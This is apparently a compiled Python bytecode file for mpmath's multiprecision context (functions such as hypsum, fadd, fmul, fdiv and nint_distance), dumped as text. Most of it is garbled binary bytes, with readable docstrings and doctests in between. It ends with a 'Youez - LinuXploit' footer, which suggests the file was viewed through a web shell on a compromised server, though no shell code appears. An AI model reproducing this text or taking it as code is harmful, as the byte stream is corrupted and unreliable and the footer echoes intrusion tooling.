ValueErrorrwr�)r�r&�stringsr�r�r�rLrMs        r��_convert_fallbackzMPContext._convert_fallbackjs����z�!�Z�0��a�g�g�i���G�G�I�%�%�c�2�.��#�)�)�!�,���[�[��&����B��[�[��&�-�-�c�2���w�w�s�{�{�2�����B��@�@��1�g���7�7�D�A�q��A�v��|�|�A��&� �!O�P�P��1�D��G�;�<�<r�c�&�|j|i|��Sr%)r()r�r�rcs   r��	mpmathifyzMPContext.mpmathify|s���s�{�{�D�+�F�+�+r�c��|rz|jd�ry|j\}}d|vr|d}d|vr$|d}||jk(ryt|�}||fSd|vr |d}||jk(ryt	|�}||fS|jS)N�exact)rr�r7r�r�)�getr+r�r/r)r�rcr�r7r�s     r�r_zMPContext._parse_precs�����z�z�'�"�� �/�/�N�D�(��V�#�!�*�-������f�~���3�7�7�?�!��t�9�D���>�!��&���U�m���#�'�'�>�!�"�3�'����>�!��!�!�!r�z'the exact result does not fit in memoryz�hypsum() failed to converge to the requested %i bits of accuracy
using a working precision of %i bits. Try with a higher maxprec,
maxterms, or set zeroprec.c��t|d�r|||df}|j}	nt|d�r|||df}|j}	|jvr%t	j
|�d|j|<|j|}
|j}|jd|j|��}d}
d}i}d	}t|�D]�\}}||d
k(rG||k\rA|d	kr<d}t|d|�D]\}}||d
k(s�|d	ks�||ks�d}�|std
���U|j|�\}}t|�}|}||k\r3|d	k\r.|dkDr)||vr||xx|z
cc<n|||<t|
||z
dz�}
|t|�z
}��	|
|kDrt|j |||
zfz��||
z}|rt#d�|D��}ni}|
|	||||fi|��\}}}|}d}|
|kr |j%�D]
}|�||ks�d}n||
dz
dz
kxs|}|r:|rnG|jd�} | �$|| kDr|r|j'd	�S|j(S|
dz}
|dz
}|
dz
}
��t+|�t,ur$|r|j/|�S|j1|�S|S)Nr*�Rr@�Crr��2�r�ZFTzpole in hypergeometric series��<c3�$K�|]}|df���
y�wr%r�)r�r5s  r�r�z#MPContext.hypsum.<locals>.<genexpr>�s����B�Q��4��B�s���zeroprecr�)r1r*r@rvr�make_hyp_summatorr�r�r��	enumerate�ZeroDivisionError�
nint_distancer/�max�absr��_hypsum_msg�dict�valuesror�r^r�r�r�)!r�r�r��flags�coeffsr6�accurate_smallrc�keyrN�summatorr�r�r��epsshift�magnitude_check�max_total_jump�ird�ok�ii�ccr5r��wp�mag_dict�zv�have_complex�	magnitude�cancel�jumps_resolved�accurater�s!                                 r��hypsumzMPContext.hypsum�s���1�g���Q��s�"�C����A�
�Q��
 ��Q��s�"�C����A��c�'�'�'�%*�%<�%<�S�%A�!�%D�C���c�"��$�$�S�)���x�x���*�*�Y��(B�(B�4�(H�I���	��������f�%�	%�D�A�q��Q�x�3����6�a�1�f��B�"+�F�2�A�J�"7�&���B� ��9��+��a��A��G�!%�B�&��/�0O�P�P���$�$�Q�'�D�A�q��Q���A���A��A�v�!�q�&�Q��U���'�#�A�&�!�+�&�)*�O�A�&��	�1�t�8�b�=�9�	��c�!�f�$�N�)	%�*��7�"� ����D�$�y�.�3I�!I�J�J��	�!�B���B�/�B�B����*2�6�1�d�B��(�+.�&,�+.�'�B��i��Z�F�!�N��>�)�!���*��A��	�q�4�x�).������2��a��/�E�~�3E�H����!�:�:�j�1���'���(�'�#&�7�7�1�:�-�#&�8�8�O�
��N�I���M�H���N�I�G�J��8�u����|�|�B�'�'��|�|�B�'�'��Ir�c��|j|�}|jtj|j|��S)a�
        Computes `x 2^n` efficiently. No rounding is performed.
        The argument `x` must be a real floating-point number (or
        possible to convert into one) and `n` must be a Python ``int``.

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> ldexp(1, 10)
            mpf('1024.0')
            >>> ldexp(1, -3)
            mpf('0.125')

        )r(r�r�	mpf_shiftr*rBs   r��ldexpzMPContext.ldexp�s/��
�K�K��N���|�|�E�O�O�A�G�G�Q�7�8�8r�c��|j|�}tj|j�\}}|j	|�|fS)a=
        Given a real number `x`, returns `(y, n)` with `y \in [0.5, 1)`,
        `n` a Python integer, and such that `x = y 2^n`. No rounding is
        performed.

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> frexp(7.5)
            (mpf('0.9375'), 3)

        )r(r�	mpf_frexpr*r�)r�r&r,r5s    r��frexpzMPContext.frexps:��
�K�K��N�����q�w�w�'���1��|�|�A���!�!r�c�*�|j|�\}}|j|�}t|d�r&|jt	|j
||��St|d�r&|j
t|j||��Std��)a�
        Negates the number *x*, giving a floating-point result, optionally
        using a custom precision and rounding mode.

        See the documentation of :func:`~mpmath.fadd` for a detailed description
        of how to specify precision and rounding.

        **Examples**

        An mpmath number is returned::

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fneg(2.5)
            mpf('-2.5')
            >>> fneg(-5+2j)
            mpc(real='5.0', imag='-2.0')

        Precise control over rounding is possible::

            >>> x = fadd(2, 1e-100, exact=True)
            >>> fneg(x)
            mpf('-2.0')
            >>> fneg(x, rounding='f')
            mpf('-2.0000000000000004')

        Negating with and without roundoff::

            >>> n = 200000000000000000000001
            >>> print(int(-mpf(n)))
            -200000000000000016777216
            >>> print(int(fneg(n)))
            -200000000000000016777216
            >>> print(int(fneg(n, prec=log(n,2)+1)))
            -200000000000000000000001
            >>> print(int(fneg(n, dps=log(n,10)+1)))
            -200000000000000000000001
            >>> print(int(fneg(n, prec=inf)))
            -200000000000000000000001
            >>> print(int(fneg(n, dps=inf)))
            -200000000000000000000001
            >>> print(int(fneg(n, exact=True)))
            -200000000000000000000001

        r*r@�2Arguments need to be mpf or mpc compatible numbers)
r_r(r1r�r&r*r�r?r@r�)r�r&rcr�r7s     r��fnegzMPContext.fnegs|��\����0���h��K�K��N���1�g���<�<������x� @�A�A��1�g���<�<������x� @�A�A��M�N�Nr�c���|j|�\}}|j|�}|j|�}	t|d�rzt|d�r1|jt	|j
|j
||��St|d�r1|j
t|j|j
||��St|d�rzt|d�r1|j
t|j|j
||��St|d�r1|j
t|j|j||��Std��#ttf$rt|j��wxYw)a�
        Adds the numbers *x* and *y*, giving a floating-point result,
        optionally using a custom precision and rounding mode.

        The default precision is the working precision of the context.
        You can specify a custom precision in bits by passing the *prec* keyword
        argument, or by providing an equivalent decimal precision with the *dps*
        keyword argument. If the precision is set to ``+inf``, or if the flag
        *exact=True* is passed, an exact addition with no rounding is performed.

        When the precision is finite, the optional *rounding* keyword argument
        specifies the direction of rounding. Valid options are ``'n'`` for
        nearest (default), ``'f'`` for floor, ``'c'`` for ceiling, ``'d'``
        for down, ``'u'`` for up.

        **Examples**

        Using :func:`~mpmath.fadd` with precision and rounding control::

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fadd(2, 1e-20)
            mpf('2.0')
            >>> fadd(2, 1e-20, rounding='u')
            mpf('2.0000000000000004')
            >>> nprint(fadd(2, 1e-20, prec=100), 25)
            2.00000000000000000001
            >>> nprint(fadd(2, 1e-20, dps=15), 25)
            2.0
            >>> nprint(fadd(2, 1e-20, dps=25), 25)
            2.00000000000000000001
            >>> nprint(fadd(2, 1e-20, exact=True), 25)
            2.00000000000000000001

        Exact addition avoids cancellation errors, enforcing familiar laws
        of numbers such as `x+y-x = y`, which don't hold in floating-point
        arithmetic with finite precision::

            >>> x, y = mpf(2), mpf('1e-1000')
            >>> print(x + y - x)
            0.0
            >>> print(fadd(x, y, prec=inf) - x)
            1.0e-1000
            >>> print(fadd(x, y, exact=True) - x)
            1.0e-1000

        Exact addition can be inefficient and may be impossible to perform
        with large magnitude differences::

            >>> fadd(1, '1e-100000000000000000000', prec=inf)
            Traceback (most recent call last):
              ...
            OverflowError: the exact result does not fit in memory

        r*r@r)
r_r(r1r�r'r*r�rCr@rBr��
OverflowError�_exact_overflow_msg�r�r&r,rcr�r7s      r��faddzMPContext.faddFs/��p����0���h��K�K��N���K�K��N��	9��q�'�"��1�g�&��<�<��������$��(Q�R�R��1�g�&��<�<��A�G�G�Q�W�W�d�H�(U�V�V��q�'�"��1�g�&��<�<��A�G�G�Q�W�W�d�H�(U�V�V��1�g�&��<�<��������$��(Q�R�R��M�N�N���M�*�	9��� 7� 7�8�8�	9���AE�<E�>AE�<E�%E4c��|j|�\}}|j|�}|j|�}	t|d�r�t|d�r1|jt	|j
|j
||��St|d�r7|j
t|j
tf|j||��St|d�rzt|d�r1|j
t|j|j
||��St|d�r1|j
t|j|j||��Std��#ttf$rt|j��wxYw)a�
        Subtracts the numbers *x* and *y*, giving a floating-point result,
        optionally using a custom precision and rounding mode.

        See the documentation of :func:`~mpmath.fadd` for a detailed description
        of how to specify precision and rounding.

        **Examples**

        Using :func:`~mpmath.fsub` with precision and rounding control::

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fsub(2, 1e-20)
            mpf('2.0')
            >>> fsub(2, 1e-20, rounding='d')
            mpf('1.9999999999999998')
            >>> nprint(fsub(2, 1e-20, prec=100), 25)
            1.99999999999999999999
            >>> nprint(fsub(2, 1e-20, dps=15), 25)
            2.0
            >>> nprint(fsub(2, 1e-20, dps=25), 25)
            1.99999999999999999999
            >>> nprint(fsub(2, 1e-20, exact=True), 25)
            1.99999999999999999999

        Exact subtraction avoids cancellation errors, enforcing familiar laws
        of numbers such as `x-y+y = x`, which don't hold in floating-point
        arithmetic with finite precision::

            >>> x, y = mpf(2), mpf('1e1000')
            >>> print(x - y + y)
            0.0
            >>> print(fsub(x, y, prec=inf) + y)
            2.0
            >>> print(fsub(x, y, exact=True) + y)
            2.0

        Exact addition can be inefficient and may be impossible to perform
        with large magnitude differences::

            >>> fsub(1, '1e-100000000000000000000', prec=inf)
            Traceback (most recent call last):
              ...
            OverflowError: the exact result does not fit in memory

        r*r@r)r_r(r1r�r(r*r�rDr r@rEr�rrrs      r��fsubzMPContext.fsub�s5��`����0���h��K�K��N���K�K��N��	9��q�'�"��1�g�&��<�<��������$��(Q�R�R��1�g�&��<�<�����%�0@�!�'�'�4�QY�(Z�[�[��q�'�"��1�g�&��<�<��A�G�G�Q�W�W�d�H�(U�V�V��1�g�&��<�<��������$��(Q�R�R��M�N�N���M�*�	9��� 7� 7�8�8�	9�s �AE�AE�AE�
<E�%E:c���|j|�\}}|j|�}|j|�}	t|d�rzt|d�r1|jt	|j
|j
||��St|d�r1|j
t|j|j
||��St|d�rzt|d�r1|j
t|j|j
||��St|d�r1|j
t|j|j||��Std��#ttf$rt|j��wxYw)a�
        Multiplies the numbers *x* and *y*, giving a floating-point result,
        optionally using a custom precision and rounding mode.

        See the documentation of :func:`~mpmath.fadd` for a detailed description
        of how to specify precision and rounding.

        **Examples**

        The result is an mpmath number::

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fmul(2, 5.0)
            mpf('10.0')
            >>> fmul(0.5j, 0.5)
            mpc(real='0.0', imag='0.25')

        Avoiding roundoff::

            >>> x, y = 10**10+1, 10**15+1
            >>> print(x*y)
            10000000001000010000000001
            >>> print(mpf(x) * mpf(y))
            1.0000000001e+25
            >>> print(int(mpf(x) * mpf(y)))
            10000000001000011026399232
            >>> print(int(fmul(x, y)))
            10000000001000011026399232
            >>> print(int(fmul(x, y, dps=25)))
            10000000001000010000000001
            >>> print(int(fmul(x, y, exact=True)))
            10000000001000010000000001

        Exact multiplication with complex numbers can be inefficient and may
        be impossible to perform with large magnitude differences between
        real and imaginary parts::

            >>> x = 1+2j
            >>> y = mpc(2, '1e-100000000000000000000')
            >>> fmul(x, y)
            mpc(real='2.0', imag='4.0')
            >>> fmul(x, y, rounding='u')
            mpc(real='2.0', imag='4.0000000000000009')
            >>> fmul(x, y, exact=True)
            Traceback (most recent call last):
              ...
            OverflowError: the exact result does not fit in memory

        r*r@r)
r_r(r1r�r)r*r�rGr@rFr�rrrs      r��fmulzMPContext.fmul�s/��f����0���h��K�K��N���K�K��N��	9��q�'�"��1�g�&��<�<��������$��(Q�R�R��1�g�&��<�<��A�G�G�Q�W�W�d�H�(U�V�V��q�'�"��1�g�&��<�<��A�G�G�Q�W�W�d�H�(U�V�V��1�g�&��<�<��������$��(Q�R�R��M�N�N���M�*�	9��� 7� 7�8�8�	9�rc���|j|�\}}|std��|j|�}|j|�}t|d�r�t|d�r1|j	t|j|j||��St|d�r7|jt|jtf|j||��St|d�rzt|d�r1|jt|j|j||��St|d�r1|jt|j|j||��Std��)a�
        Divides the numbers *x* and *y*, giving a floating-point result,
        optionally using a custom precision and rounding mode.

        See the documentation of :func:`~mpmath.fadd` for a detailed description
        of how to specify precision and rounding.

        **Examples**

        The result is an mpmath number::

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fdiv(3, 2)
            mpf('1.5')
            >>> fdiv(2, 3)
            mpf('0.66666666666666663')
            >>> fdiv(2+4j, 0.5)
            mpc(real='4.0', imag='8.0')

        The rounding direction and precision can be controlled::

            >>> fdiv(2, 3, dps=3)    # Should be accurate to at least 3 digits
            mpf('0.6666259765625')
            >>> fdiv(2, 3, rounding='d')
            mpf('0.66666666666666663')
            >>> fdiv(2, 3, prec=60)
            mpf('0.66666666666666667')
            >>> fdiv(2, 3, rounding='u')
            mpf('0.66666666666666674')

        Checking the error of a division by performing it at higher precision::

            >>> fdiv(2, 3) - fdiv(2, 3, prec=100)
            mpf('-3.7007434154172148e-17')

        Unlike :func:`~mpmath.fadd`, :func:`~mpmath.fmul`, etc., exact division is not
        allowed since the quotient of two floating-point numbers generally
        does not have an exact floating-point representation. (In the
        future this might be changed to allow the case where the division
        is actually exact.)

            >>> fdiv(2, 3, exact=True)
            Traceback (most recent call last):
              ...
            ValueError: division is not an exact operation

        z"division is not an exact operationr*r@r)r_r�r(r1r�r+r*r�rIr r@rJrs      r��fdivzMPContext.fdivs��b����0���h���A�B�B��K�K��N���K�K��N���1�g���q�'�"��|�|�G�A�G�G�Q�W�W�d�H�$M�N�N��q�'�"��|�|�G�Q�W�W�e�,<�a�g�g�t�X�$V�W�W��1�g���q�'�"��|�|�K�������$��$Q�R�R��q�'�"��|�|�G�A�G�G�Q�W�W�d�H�$M�N�N��M�N�Nr�c��t|�}|tvrt|�|jfS|tj
urf|j\}}t||�\}}d|z|k\r|dz
}n|s||jfStt|||zz
��t|�z
}||fSt|d�r|j}|j}	n�t|d�r?|j\}}
|
\}}}
}|r|
|z}	nf|
tk(r
|j}	nPtd��|j|�}t|d�st|d�r|j!|�St#d��|\}}}}||z}|dkrd}|}n�|rf|dk\r||z}|j}nI|dk(r|dz	dz}d}n9|dz
}||z	}|dzr|dz
}||z|z
}n|||zz}|dz	}|t|�z}|r'|}n#|tk(r|j}d}ntd��|t%||	�fS)	a�
        Return `(n,d)` where `n` is the nearest integer to `x` and `d` is
        an estimate of `\log_2(|x-n|)`. If `d < 0`, `-d` gives the precision
        (measured in bits) lost to cancellation when computing `x-n`.

            >>> from mpmath import *
            >>> n, d = nint_distance(5)
            >>> print(n); print(d)
            5
            -inf
            >>> n, d = nint_distance(mpf(5))
            >>> print(n); print(d)
            5
            -inf
            >>> n, d = nint_distance(mpf(5.00000001))
            >>> print(n); print(d)
            5
            -26
            >>> n, d = nint_distance(mpf(4.99999999))
            >>> print(n); print(d)
            5
            -26
            >>> n, d = nint_distance(mpc(5,10))
            >>> print(n); print(d)
            5
            4
            >>> n, d = nint_distance(mpc(5,0.000001))
            >>> print(n); print(d)
            5
            -19

        r�rr*r@zrequires a finite numberzrequires an mpf/mpcr���)r^rr/r�r^rrr}�divmodr8r�r1r*r@r r�r(r�rwr�)r�r&�typxr�r�r5�rr�r��im_distr��isign�iman�iexp�ibcr~rr�r�r��re_dist�ts                      r�r�zMPContext.nint_distanceYs3��B�A�w���9���q�6�3�8�8�#�#�
�X�\�\�
!��7�7�D�A�q��!�Q�<�D�A�q���s�a�x��Q�����#�(�(�{�"���Q�q��s�U��$�x��{�2�A��a�4�K��1�g�����B��h�h�G�
�Q��
 ��W�W�F�B��%'�"�E�4��s����*���u���(�(�� �!;�<�<����A��A��q�'�"�g�a��&9��(�(��+�+�� 5�6�6����c�3���"�f����7��A��G�
��a�x��3�J���(�(������!�V�Q�J�����T�!�V���1�H���q�5���F�A��a�4�3�,�C��A�q�D�M�C��q�D���h�s�m�+����B��
�5�[��h�h�G��A��7�8�8��#�g�w�'�'�'r�c�z�|j}	|j}|D]}||z}�		||_|�S#||_wxYw)aT
        Calculates a product containing a finite number of factors (for
        infinite products, see :func:`~mpmath.nprod`). The factors will be
        converted to mpmath numbers.

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fprod([1, 2, 0.5, 7])
            mpf('7.0')

        )r�r�)r��factors�origrNr�s     r��fprodzMPContext.fprod�sN���x�x��	����A��
���Q���
��C�H��r�	���C�H�s�1�	:c�J�|jt|j��S)z�
        Returns an ``mpf`` with value chosen randomly from `[0, 1)`.
        The number of randomly generated bits in the mantissa is equal
        to the working precision.
        )r�r6r�r�s r��randzMPContext.rand�s���|�|�H�S�Y�Y�/�0�0r�c�<���|j��fd���d����S)a
        Given Python integers `(p, q)`, returns a lazy ``mpf`` representing
        the fraction `p/q`. The value is updated with the precision.

            >>> from mpmath import *
            >>> mp.dps = 15
            >>> a = fraction(1,100)
            >>> b = mpf(1)/100
            >>> print(a); print(b)
            0.01
            0.01
            >>> mp.dps = 30
            >>> print(a); print(b)      # a will be accurate
            0.01
            0.0100000000000000002081668171172
            >>> mp.dps = 15
        c� ��t��||�Sr%)r)r�r�r�r�s  ��r�r�z$MPContext.fraction.<locals>.<lambda>�s���m�A�q�$��.L�r��/)rp)r�r�r�s ``r��fractionzMPContext.fraction�s!���$�|�|�L��!���	r�c�6�t|j|��Sr%�r�r(rqs  r��absminzMPContext.absmin�����3�;�;�q�>�"�"r�c�6�t|j|��Sr%r6rqs  r��absmaxzMPContext.absmax�r8r�c��t|d�r1|j\}}|j|�|j|�gS|S)Nr�)r1r�r�)r�r&rLrMs    r��
_as_pointszMPContext._as_points�s9���1�g���7�7�D�A�q��L�L��O�S�\�\�!�_�5�5��r�rc�X�|j|�rt|d�st�t|�}|j}tj|j|||||�\}}|D�	cgc]}	|j|	���}}	|D�
cgc]}
|j|
���}}
||fScc}	wcc}
w)Nr@)	�isintr1r2r/r�r�mpc_zetasumr@r�)r�rerLr5�derivatives�reflectr��xs�ysr&r,s           r��
_zetasum_fastzMPContext._zetasum_fasts����	�	�!����G�!4�%�%���F���y�y���"�"�1�7�7�A�q�+�w��M���B�')�
*�!�c�l�l�1�o�
*��
*�')�
*�!�c�l�l�1�o�
*��
*��2�v�
��+��
*s�&B"�B')r�F)Nr�F)�)T)8�__name__�
__module__�__qualname__�__doc__rkrur9r-r:r<rCrHrOrxrUr}r|rfrjrmrYrsrvrzr|r��propertyr�r�r�r�r�r�r�r�r�r�r_rr�r	rrrrrrrr�r.r0r4r7r:r<rDr�r�r�rgrg:s\���1�BT5�l �T�.�.�
J�P�A�N�M�T�
P�>�>���
�
;�8�4+�( ��#��#�����N�$N�J�"J�i"�V4�l=�$,�"�*D���K�S�j9�""� 4O�lHO�T@O�DCO�J@O�D`(�D�*1��*#�#���"23��U�r�rgc�&�eZdZdd�Zd�Zd�Zd�Zy)r�c�<�||_||_||_||_yr%)r��precfun�dpsfunr�)�selfr�rNrOr�s     r�rkzPrecisionManager.__init__s����������� 0��r�c�F���tj����fd��}|S)Nc�L���jj}	�jr5�j�jj��j_n4�j�jj��j_�j
rX�|i|��}t
|�tur+t|D�cgc]}|���c}�|�j_S|�|�j_S�|i|��|�j_Scc}w#|�j_wxYwr%)r�r�rNrOr�r�r^r�)r�rcr-rNrLr�rPs     ��r��gz$PrecisionManager.__call__.<locals>.gs�����8�8�=�=�D�

%��<�<�$(�L�L������$?�D�H�H�M�#'�;�;�t�x�x�|�|�#<�D�H�H�L��(�(��4�*�6�*�A��A�w�%�'�$�!�_�Q�q�b�_�5�
!%����
�	�2�!%����
��d�-�f�-� $����
��&5��
!%����
�s*�B#D�<
D�D�D�2D�D�D#)�	functools�wraps)rPr�rSs`` r��__call__zPrecisionManager.__call__s%���	����	�	%�
�	%� �r�c�$�|jj|_|jr5|j|jj�|j_y|j	|jj
�|j_yr%)r�r��origprNrOr�)rPs r��	__enter__zPrecisionManager.__enter__.sP���X�X�]�]��
��<�<� �L�L������7�D�H�H�M��;�;�t�x�x�|�|�4�D�H�H�Lr�c�:�|j|j_yri)rXr�r�)rP�exc_type�exc_val�exc_tbs    r��__exit__zPrecisionManager.__exit__4s���
�
����
�r�NrE)rGrHrIrkrVrYr^r�r�r�r�r�s��1�
�&5�r�r��__main__)wrJ�
__docformat__rTr��ctx_baser�
libmp.backendrrr�rr	r
rrr
rrrrrrrrrrrrrrrrrrr r!r"r#r$r%r&r'r(r)r*r+r,r-r.r/r0r1r2r3r4r5r6r7r8r9r:r;r<r=r>r?r@rArBrCrDrErFrGrHrIrJrKrLrMrNrOrPrQrRrSrTrUrVrWrXrYrZr[r\r]r^�object�__new__�new�compiler��sage.libs.mpmath.ext_mainr`rj�libs�mpmath�ext_main�_mpf_modulerbrarcrdrergr�rG�doctest�testmodr�r�r��<module>rns����
��	�)�.������������������������.���n�n���b�j�j�K�L���f��B�3�3�?�.�0�0�Y�
�2�Y�v&!�!�H�z����G�O�O��r�

Youez - 2016 - github.com/yon3zu
LinuXploit